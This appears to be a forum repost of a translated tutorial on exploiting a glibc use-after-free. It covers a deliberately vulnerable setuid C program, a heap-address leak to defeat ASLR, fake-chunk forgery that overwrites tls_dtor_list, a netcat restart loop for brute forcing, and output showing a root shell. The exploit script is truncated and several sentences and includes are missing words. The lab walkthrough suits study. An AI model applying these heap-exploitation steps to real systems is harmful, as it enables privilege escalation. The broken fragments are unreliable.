HimeraSearchDB
Carding_EbayThief
triada
CrackerTuch
d-shop

НОВОСТИ [Перевод] Уязвимость Use-After-Free

NewsBot
Оффлайн

NewsBot

.
.
Регистрация
21.07.20
Сообщения
40.408
Реакции
1
Репутация
0
Привет, хабр! В преддверии старта продвинутого курса мы подготовили для вас еще один интересный перевод. Начнем!

9qpnybfuid_xl_7kgno1wtivq3a.png


Предварительные требования:

  1. Уязвимость
  2. Понимание работы malloc в glibc

Конфигурация виртуальной машины: Fedora 20 (x86).

Что такое Use-After-Free (UaF)?


Баг Use-After-Free возникает если указатель кучи продолжает использоваться уже после ее освобождения. Такая уязвимость может повлечь за собой выполнение производного кода.

Уязвимый код:


#include
#include
#include
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)

int main(int argc, char **argv) {

char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);

char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */

printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}

Команды компиляции:


#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

Примечание: по сравнению с , здесь ASLR включен. Теперь давайте воспользуемся багом UaF, и, поскольку ASLR включен, давайте обойдем его с помощью утечки информации и брутфорса.
В коде выше уязвимости use-after-free находятся в строках [6] и [13]. Соответствующие им памяти куч освобождаются в строках [5] и [10], но их указатели используются уже после освобождения в строках [6] и [13]! UaF в строке [6] приводит к утечке информации, в строке [13] – к выполнению произвольного кода.

Что такое утечка информации? Как злоумышленник может ей воспользоваться?

В уязвимом коде выше (в строке [6]) утечка происходит по адресу кучи. Утекший адрес кучи поможет злоумышленнику легко вычислить рандомно размещенный адрес сегмента кучи, тем самым обойдя ASLR.

Чтобы понять, как происходит утечка адреса кучи, давайте сначала разберемся в первой половине уязвимого кода.

  • Строка [1] аллоцирует область памяти кучи размером 16 байт для «name».
  • Строка [2] аллоцирует область памяти кучи размером 16 байт для «details».
  • Строка [3] копирует аргумент программы 1 (argv[1]) в область памяти кучи «name».
  • Строки [4] и [5] освобождают области памяти кучи «name» и «details» обратно в glibc malloc.
  • Printf в строке [6] использует указатель «name» после его освобождения, что приводит к утечке адреса кучи.

После прочтения из раздела Предварительные требования, мы знаем, что , соответствующие указателям «name» и «details» — это fast-чанки, которые при хранятся по в fast-ячейках. Также мы знаем, что каждая fast-ячейка содержит односвязный список свободных чанков. Таким образом, возвращаясь к нашему примеру, односвязный список по нулевому индексу в fast-ячейке выглядит так, как показано ниже:


main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL

Из-за односвязности первые 4 байта «name» содержат адрес «details_chunk». Таким образом, когда выводится «name», сначала выводится адрес «details_chunk». Опираясь на схему кучи, мы знаем, что «details_chunk» смещен на 0x10 от базового адреса кучи. Таким образом, вычитание 0x10 из утекшего адреса кучи даст нам ее базовый адрес!

Как достигается выполнение произвольного кода?

Теперь, когда у нас есть базовый адрес сегмента кучи, давайте посмотрим, как выполнить произвольный код, разобравшись со второй половиной нашего примера.

  • Строка [7] аллоцирует область памяти кучи размером 16 байт для «tmp».
  • Строка [8] аллоцирует область памяти кучи размером 1024 байта для «p1».
  • Строка [9] аллоцирует область памяти кучи размером 1024 байта для «p2».
  • Строка [10] освобождает область памяти кучи «p2» обратно в glibc malloc.
  • Строка [11] аллоцирует область памяти кучи размером 512 байт для «p2_1».
  • Строка [12] аллоцирует область памяти кучи размером 512 байт для «p2_2».
  • Read в строке [13] использует указатель «p2» после его освобождения.
  • Строка [14] освобождает область памяти кучи «p1» обратно в glibc malloc, что приводит к выполнению произвольного кода при выходе из программы.

После прочтения из раздела Предварительные требования, мы знаем, что когда «p2» освобождается в glibc malloc, он в top-чанк. Позже, когда запрашивается память для «p2_1», она из top-чанка и «p2» и «p2_2» имеют один и тот же адрес кучи. Далее, когда запрашивается память для «p2_2», она из top-чанка и «p2_2» находится на расстоянии 512 байт от «p2». Итак, когда указатель «p2» используется после освобождения в строке [13], данные, контролируемые злоумышленником (максимум 1019 байт) копируются в «p2_1», размер которого составляет всего 512 байт, и, следовательно, оставшиеся данные злоумышленника перезаписывают следующий чанк «p2_2», давая возможность злоумышленнику перезаписать поле размером с заголовок следующего чанка.

Схема кучи:

sxrszn_-sa6hr75p_0v7pqjnxjy.png


Как мы знаем из из раздела Предварительные требования, если злоумышленник может успешно переписать LSB поля размера следующего чанка, он может обмануть glibc malloc, чтобы разорвать связь с чанком «p2_1», даже если он находится в аллоцированном состоянии. Также в мы видели, что отсоединение большого чанка в аллоцированном состоянии может привести к выполнению произвольного кода, если злоумышленник аккуратно подделал заголовок чанка. Злоумышленник создает фейковый заголовок чанка, как показано ниже:

  • fd должен указывать на освобожденный адрес чанка. Из схемы кучи мы видим, что «p2_1» находится на смещении 0x410. Отсюда, fd = heap_base_address (который был получен из-за утечки) + 0x410.
  • bk также должен указывать на освобожденный адрес чанка. Из схемы кучи мы видим, что «p2_1» находится на смещении 0x410. Отсюда, fd = heap_base_address (который был получен из-за утечки) + 0x410.
  • fd_nextsize должен указывать на tls_dtor_list – 0x14. «tls_dtor_list» относится к рандомизированному сегменту private anonymous mapping из glibc. Чтобы справиться с рандомизацией, будем использовать брутфорс, как показано в коде эксплойта ниже.
  • bk_nextsize должен указывать на адрес кучи, который содержит элемент «dtor_list». «system» dtor_list инъецируется злоумышленником после подделывания заголовка чанка, в то время как «setuid» dtor_list ставится злоумышленником вместо области памяти кучи «p2_2». Из схемы кучи мы знаем, что dtor_list располагается со смещением 0x428 и 0x618 соответственно.

Теперь, когда у нас есть вся эта информация, мы можем написать эксплойт для атаки на уязвимый бинарник «vuln».

Код эксплойта:


#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time

ip = '127.0.0.1'
port = 1234

def conv(num): return struct.pack("code>

Поскольку при брутфорсе нам нужно несколько попыток (пока у нас не получится), давайте запустим наш уязвимый бинарник «vuln» как сетевой сервер и с помощью shell-скрипта убедимся, что он автоматически перезапускается при падении.


#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done


Выполнение кода эксплойта выше даст вам root-права в shell. Получилось!


Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$

Источник:








Читать ещё:


 
Сверху Снизу